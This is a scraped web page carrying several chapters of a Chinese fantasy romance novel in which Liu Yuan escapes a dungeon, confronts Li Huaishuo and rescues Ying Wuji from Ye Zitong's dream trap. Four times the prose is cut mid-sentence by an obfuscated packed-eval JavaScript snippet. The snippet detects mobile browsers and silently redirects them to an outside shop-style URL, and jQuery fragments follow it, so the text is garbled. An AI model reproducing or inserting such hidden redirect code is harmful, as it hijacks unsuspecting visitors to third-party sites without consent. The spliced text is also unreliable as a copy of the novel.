;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145209|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不小心触碰到了贴身丫鬟的手,被宋扶湘看到后,被她绑在房间的柱子上。 “你这是做什么?”方锦悠震惊地望着她。 没想到宋扶湘看上去这么柔弱,力气却这么大。方锦悠完全无法挣扎开,绳子就那么紧紧地缚着他,令他动弹不得。 “别忘了你答应过我什么。”宋扶湘冷着一张脸,缓缓在桌边坐下。 当时方锦悠并没想太多,只是觉得这是有情人之间正常的心思,没有再和那丫鬟有多余的交流了。 “她绑你你也觉得正常?”柳沅觉得很荒谬,忍不住问道:“这个时候就应该觉得不对了吧?” 方锦悠沉默了一会儿,弱弱道:“我当时没想那么多,我觉得她不会有害我的心思。” “现在后悔了?”贺听舟调侃道。 “不,我现在还是觉得她并没有要害我的意思。”他摇摇头,强调道:“她只是太极端,没有考虑我的想法。” 柳沅皱皱眉,又挠挠脑袋,疑惑不解地望向他:“但是你之前一直让我们除掉那个女妖,你现在又说她不想害你,你到底是什么意思?” 方锦悠低下头,悔恨地锤锤脑袋,嗡声道:“我也不知道我是什么意思,按理说她那样对我,我应该反抗,可是她从来没有真正伤害过我,我……我又没有要报复她的立场。” “我真的不知道怎么办了。” 说到这里,他的语气已经有了哭腔。 柳沅和贺听舟面面相觑。 一旁一直安静的阿花突然起身,走到方锦悠身旁,嗤笑一声:“但是因为你,她杀了人,你们之间的事情牵扯到旁人,就不再是爱恨情仇那么简单了。” 柳沅突然想起第一次来方府时看到的那个丫鬟,贺听舟也想到了。两人对视一眼,又双双望向阿花。 在宝石的微弱亮光下,阿花的神色无比冰冷。 “杀了人就要付出代价,既然那个女妖逃走了,那作为帮凶的你,是不是应该偿命呢?”她轻飘飘的声音仿若一记重锤,狠狠敲在方锦悠心上。 他瞪大了眼睛,一时之间愣住了。就在这一瞬间,变故突生。 阿花突然从衣服里掏出一把刀来,对准方锦悠的心口狠狠戳去。她和方锦悠的距离极近,其余两人来不及阻挡,只能眼睁睁看着那把刀刺入他的皮肉。 一道刺眼的白光闪过,阿花惨叫一声,被这光击中,撞上了坚硬的墙壁。牢房里闹出的动静太大,柳沅依稀听到远处传来急促的脚步声和谈话声,急忙把方锦悠掉在地上的钥匙捡起来,拉着他和贺听舟跑出了牢房。 出去的第一感觉就是冷,那种深入骨髓的冷。 “这么大的动静应该会被发现,你们快去把其它牢房的门都打开,咱们趁乱逃出去。”她语速飞快,一边讲一边将钥匙分给其余两人。 方锦悠还在发呆,柳沅把钥匙递到他面前都没动静,气的她直接一个巴掌甩过去。 “别想宋扶湘了,快去开门啊!” 48. 他不是娘亲!(8) 果然,柳沅的猜想是对的。叶子桐和方老爷根本没走远,听见声响立马就往他们这边来。而他们因为提前打开了几乎所有牢房的大门,趁此机会混入人群,成功逃了出去。 眼前再度被阳光填满,柳沅眯着眼睛,适应了好一会儿才看清东西。原来他们被关在了藤萝院地下。 方锦悠失魂落魄地走在后面,被柳沅一把拉了过来。 “你还想问什么?”他无可奈何地叹了一口气。 “你爹和叶子桐到底想干什么?他们和宋扶湘到底是不是一伙的?”柳沅问。 刚才逃出来的时候,她细想了下方锦悠的话,发现宋扶湘的目标好像一直是方锦悠,似乎和应无霁并没什么关系。 如果宋扶湘李怀朔和叶子桐是两拨人,那事情会变得简单很多。 “你带着钥匙进来,是有人指使你的吧?”贺听舟突然道。 在两道视线的注视下,方锦悠深深地叹了一口气,无奈道:“是的。是李道长给我了这些钥匙,让我来救你们。” “我没记错的话,他和宋扶湘是一伙的吧,你会乖乖听他的话?他必定许诺了你些什么。”柳沅试探着问道。 方锦悠一副怎么什么都被看透了的表情,塌下了肩膀,长舒一口气:“你们跟我来吧。” 没想到方府真是处处藏着乾坤,藤萝院内部竟然还藏着一个密室,方锦悠把她们带到密室门口,示意她们进去。 密室里面黑漆漆的,从外面根本什么也看不见,柳沅和贺听舟对视一眼,都有些犹豫。 “李道长说让我救出你们后带你们到这里,然后就不会让宋扶湘来找我了,所以……”他很想说声抱歉,但是被柳沅打断了。 “你把我们从密室中带出来,也算是救了我们一命,算是扯平了。”她道。 随后,她又看了看密室,将贺听舟拦住,沉声道:“我先下去吧,如果半个时辰内我没有上来,你就下去救我。” 贺听舟点点头。于是柳沅迈开了步子,朝着黑暗中走去。 密室不算大,柳沅走到通道尽头,突然看见一扇门缓缓朝自己打开,她走了进去,走一步亮一盏灯。 在火把的照耀下,一个人影缓缓出现。 是李怀朔。 他的帏帽已经摘去,脸上带着浅浅的微笑。 “好久不见,柳沅姑娘。”他弯弯眼睛,很柔和地看着她。 柳沅没有忘记系统临走前的提示,这人就是这本书中的男主,那个用尽一切心思都要搞狗血的疯子。 “我不明白你的意思。”她淡淡道。 “不明白为什么我要让方少爷把你们救出来?”李怀朔笑意盈盈地望着她,问道。 柳沅不情不愿地点头。 李怀朔又笑了,伸出食指对着她的眉心隔空一点,一道淡淡的白光从他的指尖逸出,柳沅立即感受到一股刺痛,面色大变,高声斥责道:“你干什么?” “你加入入梦人这么久,还没体验过修为提升的感觉吧,今天我帮帮你。”说着,李怀朔加大了力量,随着白光一点一点涌入她的眉心,柳沅浑身发疼发软,控制不住地往地面倒去。 膝盖重重地磕上坚硬的石制地面,柳沅猛地吐出一口血来。 “柳沅,欢迎来到入梦人的世界。”李怀朔笑着,面目渐渐模糊在她眼中。 柳沅只感觉浑身的血液在倒流,经脉和骨头都被一股大力粉碎了,皮肉快要化作水溜走。她好像快融化了。 唯一的还算坚硬的东西,是,是…… 她无力地抬起手,那根应无霁留给她的桃木枝突然掉了出来。就在这一瞬间,那股痛苦的感觉消失了。她吐掉口中的血,抬起头来。 桃木枝飞速在空中旋转着,抵挡住了李怀朔向她输入的力量。 他先是愣了一下,随后忍不住笑了:“他竟然愿意把这个东西给你,倒是我低估你了。” 说罢,他猛然收手,决意去夺那悬在空中乱飞的桃木枝。柳沅浑身酸软,躺在地上不停地喘着粗气,只能眼睁睁地看着李怀朔将桃木枝夺走。 “你……你到底想做什么?”她虚弱地睁开眼睛,死死地盯着李怀朔。桃木枝在柳沅看来,只是应无霁随身携带的再普通不过的东西,但是陪伴了他那么久的东西突然被一个陌生人夺走,她心里还是很不舒服。 而且李怀朔不可能去抢一个毫无用处的东西。 所以……一定不能让这树枝落到他手中。 但柳沅压根不是他的对手,现在还失去了自保能力,又怎么能把桃木枝抢回来呢?她忍着身体的剧痛,冥思苦想着对策。 李怀朔把那桃木枝拿在手里,仔细打量,随后露出一抹满意的笑容。就在这时,一道纯红色的光凭空出现,击中了他的右手。 柳沅感觉面前拂过一阵风,一片白色的衣角出现,她抬头一看,发现是贺听舟。 “来不及和你多说了,快走。”贺听舟将掉落在地的桃木枝递给柳沅,接着重重拍了下她的肩膀,一股强烈的吸力将她托了起来。 李怀朔很快反应过来,想去抢,却在看见贺听舟后诡异地暂停了动作。 柳沅就这样被吸入了一个黑色的漩涡中,消失了。 密室里一时间只剩下贺听舟和李怀朔。 “你藏的够深的,我竟然一直没有发现你。”他挑了挑眉,直勾勾地盯着贺听舟,眼底翻滚着浓郁的暗色。 贺听舟抱臂,似笑非笑地看了他一眼,嗤笑道:“别装了,你这么做不就是为了引我出来吗?” “对啦,”李怀朔笑得眉眼弯弯,走到贺听舟身边,轻佻地挑起她垂落在肩膀处的发丝,“你还是一如既往地了解我,知道我想做什么。” 贺听舟笑吟吟地回望他,道:“哪的话,这不是恶心你吗,所以才会了解你。” 这话让李怀朔的表情不太好看,但他还是维持住了那副温柔的样子,轻声道:“是你把柳沅引入方府的吧?也是你让她混入花轿中,破坏了我的计划吧?” 贺听舟擒住了他想要触碰自己脸颊的手,轻轻扬起了嘴角:“就是我做的,怎么样?这份礼物你喜欢吗?” 闻言,李怀朔大笑,复又有些激动地回握住她的手,轻声道:“你要是愿意回来,我可以当作一切都没发生过,贺听舟,你依旧会是我最得力的助手,我会忘记你曾经背叛我的事实。” “你可以做任何你想做的事,前提是不要再背叛我。”说这话的时候,李怀朔的眼睛是笑着的,但里面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152283|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫无温度。贺听舟十分熟悉他,知道这句话不是给她选择,而是命令。 她冷笑一声,甩开了李怀朔的手。 “既然做出了选择,就不会后悔。这不是你教我的吗?”贺听舟神色漠然,强调道。 闻言,李怀朔又笑了,不过这次的表情很是狰狞。 “好,真是好极了。”他用力地鼓掌,一声比一声重,边说边阴沉地盯着贺听舟,同时空气中隐隐浮动起一层白光。 贺听舟知道他要采取强硬手段了,警惕地往后退了几步,和他拉开距离,同时双手迅速交叉,飞快地结印画符。 随后,空间中突然出现了一个缺口,浓郁的黑色透出,一股强烈的吸力传来,拦住了他欲抓住贺听舟的动作。李怀朔伸出双手,朝着那缺口重重地打了一掌。 出乎他意料的是,这一掌竟然对这东西毫无作用。 “这两年里我学了些新东西,给你长长见识!”说罢,贺听舟操纵着这黑色的漩涡,朝李怀朔攻去。漩涡可以吸收修仙者散发出来的能量,所以李怀朔对它的攻击统统无效。但很快他就反应了过来,见缝插针开始对贺听舟施法,但太迟了,她早就趁着他躲避漩涡的空档,利用空间术逃之夭夭了。 密室里的火把突然闪了闪,李怀朔缓缓转身,发现是宋扶湘。她沉默地望着他,目光冷漠。 李怀朔突然笑了,有些无奈地耸耸肩:“把她逼出来了,不留神让她跑了。” 宋扶湘一愣,随后皱起眉头,低声问道:“接下来该怎么办?” 李怀朔伸了个懒腰,笑道:“我们想找的人都找到了,就不掺和接下来的事了。” 这是要走的意思,宋扶湘有些犹豫。 李怀朔瞥她一眼,若有所思道:“你还是想把那小子带走吗?” 李怀朔并不是很喜欢方锦悠,更不理解为什么自己从小养大的宋扶湘会因为一个什么都不出众的男子变得和那些为爱痴狂的女子一样庸俗,所以每每看到她因为方锦悠而犹豫,他的心情总是会变得不太好。 而宋扶湘天生情感淡漠,虽然知道李怀朔会在自己提到方锦悠时突然变化神情,但并不知道他其实很是厌烦。 “想。但是他不愿意。”宋扶湘回答道。 这是已经和上面呆着的方锦悠见过面了。李怀朔若有所思,笑着道:“那就不见了。” “可是……” “没有可是,”李怀朔的笑突然变得很阴冷,“我们这样的人,不能留下任何弱点。我已经答应你不杀他了,这已经够了。” 闻言,宋扶湘愣了愣,随后低下头,轻声道:“是。我明白了。” 两人缓缓朝着密室外走去,这时,原本平静的空间突然波动,贺听舟突然从空中掉了下来,脸朝地摔了下去。 随后,她顾不上脸上被砸出来的淤青,念叨着不好,急忙又打开了一条空间通道。 * 柳沅睁开眼,发现眼前一片模糊,环顾四周,发现自己又回到了那片奇怪的雾气中。 她惦记着应无霁,踉跄着从地上爬起来,却不知道往哪里走。 手中的桃木枝突然躁动起来,不停地指着一个方向,似乎在指引着她,柳沅握住树枝,朝着雾气深处奔跑。 49. 他不是娘亲!(9) 方府地牢 叶子桐摊开手掌,一块洁白细腻的玉石发出耀眼的光,那些挣扎着往外跑的人,还有已经跑出去的人统统停下了动作,齐刷刷地转身,朝着玉佩狂奔而来。 一百多人聚集在一起往同一个方向横冲直撞地跑,是一件很可怕的事情。方老爷吓得往后一仰,差点就那么摔倒。叶子桐微笑着扶了他一把,轻声道:“方老爷要小心呐,要是摔出个什么来,那就不得了了。” 方老爷本来被吓得半死,听了这话也不好表现出来了,硬是站直了,结巴道:“多谢……多谢仙人提醒。” 叶子桐托着那块玉石,不知使了个什么法术,那些人都乖乖地停了下来。方老爷在旁边看了半天,心痒痒的,于是问道:“仙人,这又是是个什么法宝?怎么这么厉害?” 叶子桐最讨厌他这副无知的样子,但还是装作一副温和的样子,解释道:“他们进来之前吃过我的蛊虫,受我控制。” “你看,”他将玉石动了动,人群突然整齐划一地排好队,一个接着一个往牢房走去,“控制他们的行动只是最简单的一个法术。” “原来是这样,不愧是仙人你。”方老爷衷心夸赞道。 叶子桐轻笑一声,继续通过玉石操纵那群人一个个进入牢房。方老爷看着看着,突然问道:“不过这蛊虫不会对献祭有什么影响吧?” 他的眼里全是急迫和贪婪,叶子桐从很多人眼睛看到过这种情绪,特别是那些喜欢追求自己得不到的东西的人。 真可怜啊,他不免有点怜悯起面前这个矮小又庸俗的男人,满心满眼地以为自己能通过这种方式得到修仙的机会,不过是给他人做嫁衣。 想到自己即将吸收掉这么多人的力量,修为将会再精进一层,叶子桐的心情就十分雀跃。 “不会,蛊虫能最大程度激发他们体内的力量,比直接献祭得到的力量更多。”他解释道。 闻言,方老爷脸上的笑容怎么都挡不住,那些因为时光流逝带来的皱纹似乎都在一瞬间抚平了。没错,他老了,作为凡人,就算再富有,在这世上存在的时间也不过短短几十载,但成为仙人就不一样了,不仅拥有超出凡人的力量,也将拥有更长的寿命。 这对任何一个人来说都是无法拒绝的诱惑,特别是对半只脚快要迈入棺材的方老爷来说尤甚。 “那我就在这里提前多谢仙人了。若是以后有什么我需要帮忙的,我必定万死不辞。”他严肃地拱了拱拳,朝叶子桐行了个礼。许是从未向人行过类似的礼节,他的动作很不标准,甚至有些滑稽。 但叶子桐毫不在意,还笑眯眯地扶起他,柔声道:“从此以后我们就是道友了,何必多礼?” 这话更是让方老爷心花怒放,笑容越发灿烂。 一缕青烟悄悄飘了过来,降落在叶子桐耳边。 一阵子后,叶子桐对着方老爷抱歉地笑笑,道:“阵法那里出了点问题,先失陪了。” 听到阵法出了问题,方老爷比谁都着急,连忙催着叶子桐赶快解决。他顺势往地牢外赶,边走边道:“你确定柳沅找到了应无霁?” 问这句话的时候,他正好走出地牢,那缕青烟也化作了原本的样子,人的身体,镜子的头颅,是萤神只。 “我的梦境有些困不住他了,您看……”萤神只有些为难,观察着叶子桐的表情,道。 他表现的异常平静,甚至脸上还挂着淡淡的笑容。 “主人……不是想困住应无霁吗?如果柳沅去了,那不是……” “如果她去了,应无霁前辈脱离了我的法阵,这结果不应该会更有意思吗?”叶子桐打断了它,笑道。 萤神只不明白,叶子桐费了老大力气,在暗中布局,甚至还将应无霁的行踪故意透露给李怀朔,这次又是故意把应无霁引到方府,帮助宋扶湘引他出现,好不容易把他困在了梦境中,又说要让柳沅和他一起逃走这句话。 它实在是不明白。 “要是他想,他会成为这世界上最厉害的修士,这样强大的天赋,我只在他身上看到过,我不介意帮他一把。”叶子桐道。 “可是,若是他日后与我们为敌呢?”萤神只忍不住问道。 叶子桐耸耸肩,显得有些无所谓:“那就是一个很好的对手。” “可是,”萤神只还想说些什么,就看见叶子桐对它露出一个冷冷的眼神。 “这世上哪有什么绝对的立场,我们也不过是暂时结盟,不是吗?” 这句话精准地戳中了萤神只的心事,它低下头,不说话了。 “我知道你想让我帮你对付他,但是我说了,我很欣赏他,我更想看到他变得更强。”叶子桐的眼神变得十分灼热,神色激动,好像已经透过空气看到了应无霁变强的样子。 说罢,他朝着萤神只挥挥手,它组成头颅的镜子随之破碎,紧接着而来的是浓郁的雾气。 叶子桐缓缓抬眼,看见一道灰色的身影穿过迷雾,朝着应无霁所在的方向冲去。 雾气被桃木枝旋转掀起的风撕碎,柳沅的视野渐渐清晰,终于在不远处看见了那道熟悉的身影。她总算松了口气。 “应无霁,你没事吧?”应无霁背对着她,一动不动,柳沅只能通过喊叫来确认他的情况。 应无霁没说话,同时桃木枝又突然动作起来,拽着她往那被雾气包裹着的黑暗近处去。柳沅直觉那里有危险,不肯过去,一人一树枝就这样僵持着。 突然,应无霁似乎被什么东西击中了,踉跄了一下,跪在了地上。那些原本围绕在他身边蠢蠢欲动的黑气一拥而上,细密的气息如利刃,反复在他的身体上切割。 血珠从细小的伤口中涌出,浮在雾气中,应无霁痛苦又嘶哑的声音在整片空间中盘旋。柳沅脑袋一片空白,下意识就要跑。 桃木枝硬是把她拽回了原地。 怎么办?好不容易从李怀朔手上逃出来了,难道又要上去送死吗?柳沅犹豫地望向应前方。 系统现在不在,应无霁的身份也存疑,她其实并没有任何义 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172940|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 务非要救他吧?更何况应无霁的修为不知道比她高出多少,他都解决不了的麻烦,柳沅自己上去不是去送死吗? 现在最明智的选择就是跑,跑的越快越好,跑的越远越好。 可是。 她从来没有看见过应无霁那么狼狈的样子,被鲜血浸满的长袍,露出来的侧脸被伤口填满,还有隐忍着痛苦的嘶哑声音。 她松开了握住桃木枝的手,在一旁沉默地注视着他。 他挽住头发的发带已经丢失了,满头的黑发就那么散落下来,因为额头上的汗水,最顶上的头发有点湿湿的,恍惚间,她想起了他们的初见。 应无霁也是这样披着头发。 黑气贪婪地吸允着应无霁伤口涌出来的血液,应无霁猛地吐出一口血,垂头盯着地面,完全不反抗,和那晚一模一样。 桃木枝急得围着她团团转,甚至去敲她的手。柳沅静静地注视着虚弱的应无霁,挥开了桃木枝。 “他自己不想求救,我又能有什么办法呢?”她的语气很冷,甚至带着一丝嘲讽。 明明有办法的,对不对?她在心里说道,可你为什么就是不用呢? 柳沅狠心转身,桃木枝想挽留,却被她一巴掌打落在地。 “其实我们认识了不过才几个月,其实只是系统强行绑定我们的。我怎么可能会和这样一个脾气不好,还总是欺负我的人产生什么特殊的感情呢?”她低声呢喃着,不知道是在说给谁听。 应无霁一个后仰,躲过黑气的攻击,摇摇晃晃站了起来。膝盖很痛,伤口更痛,他只是皱了皱眉,踉跄着走到黑暗的最中心,凝望着上面显示出的叶子桐的脸。 “你看到了吗?你的小宠物可不愿意来救你。”他的语气很是得意。 应无霁抬手抹去残留在嘴角的血迹,淡淡道:“她过来就是送死。” “好吧,”叶子桐耸耸肩,拨开黑暗,慢慢走了出来,笑道:“我很好奇你为什么不愿意吸收它们的力量,你这样的体质可让不少人眼红呢,可你偏偏不用。” 说着,他猛地屈起手指,对准了应无霁的胸口就是一抓。应无霁的脸色一下就白了,血肉飞溅,伴随着叶子桐爽快的笑声。 “你看啊,你明明可以抵抗,制住我的手吸收我的力量,是你自己放弃了自己。真是可笑。” 叶子桐疯狂地笑起来:“真是懦弱。” “你这样的人,只会逃跑,可偏偏上天给了你一具好身体,真是让人又爱又恨。” 柳沅当然也听到了他们之间的谈话,尽管她已经决定要走,但怎么都迈不出这一步。 “那是他自己的选择,你上次不就试图劝说过他,结果人家根本不领情,你还要热脸贴冷屁股吗?” “听到叶子桐的话了吗?应无霁的天赋很强,他不会就这么死掉的。就算他真的是你的任务对象,系统此时失联,出了问题也和你没关系啊,干嘛这么在意?” “你觉得你过去了就能把他救出来吗?你未免太高看自己了。” 50. 他不是娘亲!(10) 她疯狂劝说着自己,想象着离开这里,离开方府,逃出去…… 虽然目前为止她只解锁了霞村这一个地图,但是这个世界很大很大,有好多地方等着她探索,她的人生不应该局限在这个小小的霞村。 “虽然说这段时间我一直在他家里白吃白喝,但是我用赚来的钱修缮了房屋,还给他买了衣服首饰,这就已经扯平了。”她自言自语。 “我们之间已经是谁都不欠谁了,对,我完全有理由走。”她不停地说服自己。 “其实根本无所谓吧,我们本来就没什么关系,我走的话根本就是再正常不过的事情。” 如此说了数遍,柳沅还是迈不开步子。 她站在原地犹豫了半天,最后暗骂一声,心不甘情不愿地转身,捡起了地上的桃木枝。 “说好了,这不是我想去的,要是他再像上次那样对我,我一定马不停蹄地往回跑,绝对不会再回头看一眼。”她对着桃木枝,碎碎念道。 桃木枝听到她要回去,开心地晃了晃身体,从她掌心飞出去,殷勤地为她指路。柳沅被它的蠢样子逗笑了,顺着它指的方向疾步而去。 而此时,叶子桐看着仍不愿意就范的应无霁,幽幽道:“要不然我帮你一把,把她找回来?” 话音刚落,还在往回赶的柳沅眼前一黑,再睁眼时,应无霁放大的脸突然出现在眼前,她倒吸一口凉气,下意识往后退。 应无霁凉飕飕地扫了她一眼,抢走她手中的桃木枝。 “我怎么回来了?”她不禁脱口而出道。 这句话让应无霁的脸色僵了僵,随后他冷笑一声,咬牙切齿道:“谁——知——道?” 等等,柳沅转头看他,记忆中应无霁好像从来没用过这种语气和她说过话,仔细去看,他的表情还带着浓浓的嘲讽。 什么意思?她可是冒着生命危险回来的,都这样了还不满意?要怎样? 柳沅对他翻了个饱满的白眼。 一旁的叶子桐伸出手,朝她打了个招呼,笑道:“好久不见啊。” “怎么好久不见,刚才不就见过吗?”柳沅斜他一眼,冷哼道。 叶子桐呵呵笑了两声,充满深意地看了一眼应无霁,挑眉道:“我就不在这里打扰你们了。另外,前辈,我好心提醒你一句。” 应无霁漫不经心地掀起眼皮,略带警告地看了他一眼。 叶子桐毫不在意地与他对视,笑容灿烂:“你可以耗,但你身边这位姑娘可耗不起。” 说完,他转身往黑暗中走去。柳沅想追上去,被应无霁挡住了。 “那不是他的实体,追上了也没用。“他低声道。 柳沅这才作罢。 叶子桐走后,那团包围在应无霁身边黑气更加肆无忌惮,嚣叫着又要往他身上冲。 柳沅紧张地咽了咽口水,十分识时务地躲到了他身后,顺手指了指他握在右手中的桃木枝,语速飞快:“这树枝我给你带回来了,你有武器了,快把它们都解决了,我们早点回去。” 闻言,应无霁斜她一眼,抿紧了嘴唇。 眼看黑气就要冲上来了,他怎么都不动作,看的柳沅一股无名火。 “上啊,哎,左边,右边,哎,应无霁你反抗啊!“她气的快要尖叫。 应无霁终于动了。 他缓缓抬起右手,轻轻挥了挥桃木枝,一道蓝色的流光迅速闪过,噗嗤一下打散了那团黑气,剩余的立即忌惮着往后退了数步。 “好样的,就这样!”柳沅在一旁用力呐喊道。 这一下给了这群怪物一记重创,这意味着它们暂时不敢再贸然进攻,他们有了喘息的时间。 应无霁重重地咳了数声,吐出嘴里的血沫,自顾自往远离柳沅的方向走去。柳沅不明白他的意思,寸步不离地跟在他身后。 突然,应无霁毫无征兆地停下脚步,柳沅低着头没注意,结结实实地撞上了他的后背。 一股剧痛袭来,她捂着鼻子,泪眼汪汪地望着他的背影。 “你干什么?“她有点恼火地问道。 “既然决定走了,为什么不快些走呢?”应无霁的声音很轻,像一根羽毛在耳边挠过。 他背对着柳沅,高高瘦瘦的背影遮住了全部的情绪,却显得有些落寞。 柳沅微微一愣,有些心虚:“你看到了啊。” “其实你应该快些走的,他的目标是我。”应无霁转过身来,盯着她的眼睛,说道。 那双眼睛又透又亮,可看上去像寒潭中的明月,又遥远又寒凉。他的这句话毫无感情,就像作为一个旁观者,擅自把柳沅放在了放弃他的立场上。 虽然,虽然柳沅一开始的确想过要逃走。 可她最后不还是回来了吗? 她有些生气,眉心处的两颗淡色小痣都挤在了一起,配上紧绷的嘴唇,圆圆的脸蛋,像一只突然炸毛的狐狸。 应无霁垂下眼睛,避开她的视线。 “你以为是我走的慢才会被他带过来吗?”柳沅双手叉腰,气冲冲地质问道。 应无霁露出一副你难道不是这个想法的表情,冷漠地勾了勾唇角。 他这副样子实在是让人恼火。 柳沅两只眼睛都瞪圆了,蓦然踮起脚尖,一把揪住了他的衣领,把他狠狠往下一拽。两人之间的距离忽然拉近,近到彼此都能感受到对方呼吸的热度。她能清楚地看见那些黑气在他脸上留下的伤口,一道又一道,深可见骨。 她的心里突然涌上一股莫名的火气,拽着他衣领的手深深陷入布料里,指尖泛白。 应无霁依旧面无表情,柳沅直勾勾地盯着他的眼睛,强调道:“虽然是他直接把我送到你身边的,但是我原来就是要回来救你的,别把我说的那么卑劣。” “还有,”她有点委屈地咬住下唇,声音骤然低了下去:“那次是我不对,我没考虑到你的意愿,逼着你去吸收能量。但是我不知道为什么你不愿意,明明可以,明明可以……” “明明可以因为这个变强,为什么我就是不用,是吗?”他突然开口,接过柳沅的话头,语气平淡而柔和。 柳沅懵懵地点头。 应无霁伸出手,轻轻按了按她的眉心,叹气道:“算了。” 柳沅感觉一股清凉的力量顺着他的手注入身体,那股被李怀朔强行注入能量时的痛感突然消失了,再回过神时,只见应无霁脸色惨白,满头大汗。 再抬头一看,那股黑气正不停地涌入他的身体,他在吸收它们。 应无霁身上脸上的伤口再快速愈合,速度快到她瞠目结舌。 那股被包裹在雾气中的黑暗如烟花炸开,应无霁操纵着桃木枝将四处逃窜的黑气强行吸入身体,控制不住地喷出一口血来。 柳沅感觉手上传来一股拉力,还没来得及反应过来,就被应无霁抱了个满怀。 “你……” 她的话被打断,应无霁沙哑的声音响起:“结束了。” “柳沅。” 这声呼唤让她浑身一僵,一种奇怪又温暖的感觉充斥着她的内心。应无霁轻轻地靠在她身体上,呼吸很轻很轻。 有那么一瞬间,她差点以为他就那么死掉了。 “应无霁?“她望着眼前缓缓消散的雾气,突然有些害怕,于是喊道。 “我在。“他虚弱的声音在耳边响起。 不知道为什么,柳沅有点难过,于是又喊了他一声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177856|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 应无霁的声音带着些许无奈:“我在,不用担心,一切都结束了。“ 对啊,一切都结束了。柳沅对自己说。 她死死拽着应无霁的袖子,生怕自己一不留神他又消失不见。 渐渐的,雾气慢慢消失,又是一阵天旋地转,视线再度清晰时,他们已经回到了藤萝院。 柳沅不自在地往后退了几步,盯着地面,心绪不宁地晃着袖子。应无霁捂着嘴剧烈地咳嗽了几声,提步想往外走。 此时外面正是黑夜,应无霁又是一身的血,出去会很危险。 “你,”她突然抬起头,皱了皱鼻子,有些不自然道:“你干什么去?” 应无霁的动作顿了顿,低声道:“去办件事。” “可你还满身是伤……”柳沅话刚说出口,才察觉到应无霁身上的伤早就愈合了,于是硬是把后面的话吞了进去。 闻言,应无霁勾了勾唇角,明知故问道:“你是在担心我吗?” 那双眼睛含着淡淡的笑意,明亮的如同晴天夜晚璀璨的星河,深邃又神秘,一不留神就容易让人陷进去。 她被这双眼睛注视着,耳根不受控制地发烫起来。 “你说什么胡话呢,爱去不去。”她否认道。 闻言,应无霁挑挑眉,用一副漫不经心的语气说道:“其实晚上醒着还是挺危险的,这方府暗藏危险,你一个人留在这说不准还会碰到什么……” 说到这里,他特意留了个悬念,故意没说完。 柳沅这才惊觉方府的事情还没结束,叶子桐的真实目的是献祭那一百多个修仙者。保不准他又想到她和应无霁,要来抓他们。 她立即蹦到应无霁身边,死死地抓住了他的袖子。 “干什么?”他轻笑一声。 柳沅轻咳一声,若无其事道:“这不是晚上危险,怕你再出什么事吗?我跟你一起去。” “哦。”应无霁作出一副恍然大悟的样子,撇撇嘴憋住笑,道:“我还以为是你害怕呢。” “我怎么可能害怕?”她忙否认道。 应无霁转过头,肩膀不停地抖。柳沅看见了,狠狠打了他一下,威胁道:“要走快走,叶子桐说不定还在找我们。” 于是两人一起推开门,往院子外走去。 不知道是不是柳沅的错觉,天空处的月亮似乎又大了些,那原本柔和的月光也变得有些刺眼,最奇怪的是她竟然从这冷白色的光芒中感受到一丝暖意。 这让她想起那个奇怪的梦。 她摇摇头,暗道自己想多了,专心跟着应无霁往地牢的方向而去。 在藤萝院的东南角,应无霁发现了一处无法跨越的屏障,他手指轻触,眼前突然出现了一扇木门,这就是地牢的入口。 柳沅就是从那里逃出来。 “刚逃出来又要进去,感觉怪怪的。”她忍不住道。 应无霁挡在她面前,轻轻推开了门。 “他已经知道我们出来了,一定已经开始启用阵法了。”他道。 柳沅点点头,突然反应过来一件事——应无霁是怎么知道叶子桐的阴谋的? 她的脸上根本藏不住事,应无霁一看就知道她想到了什么,解释道:“你还记得之前我让你不要吃他送的东西吗?” 柳沅被他这么一提醒,想起了那件事,当时她还觉得应无霁不领人家的情,不过也没怎么放在心上。 “他很早就在村里养蛊虫了,这种虫子能够控制人的行为和思想。那天他送你的蔬菜水果中就有这种虫子。”应无霁边走边说。 原来那么早他就开始布局了吗?柳沅心底不由得一惊,突然想到了李桑字,担心道:“那李桑字不会……” 51. 任务变更(1) 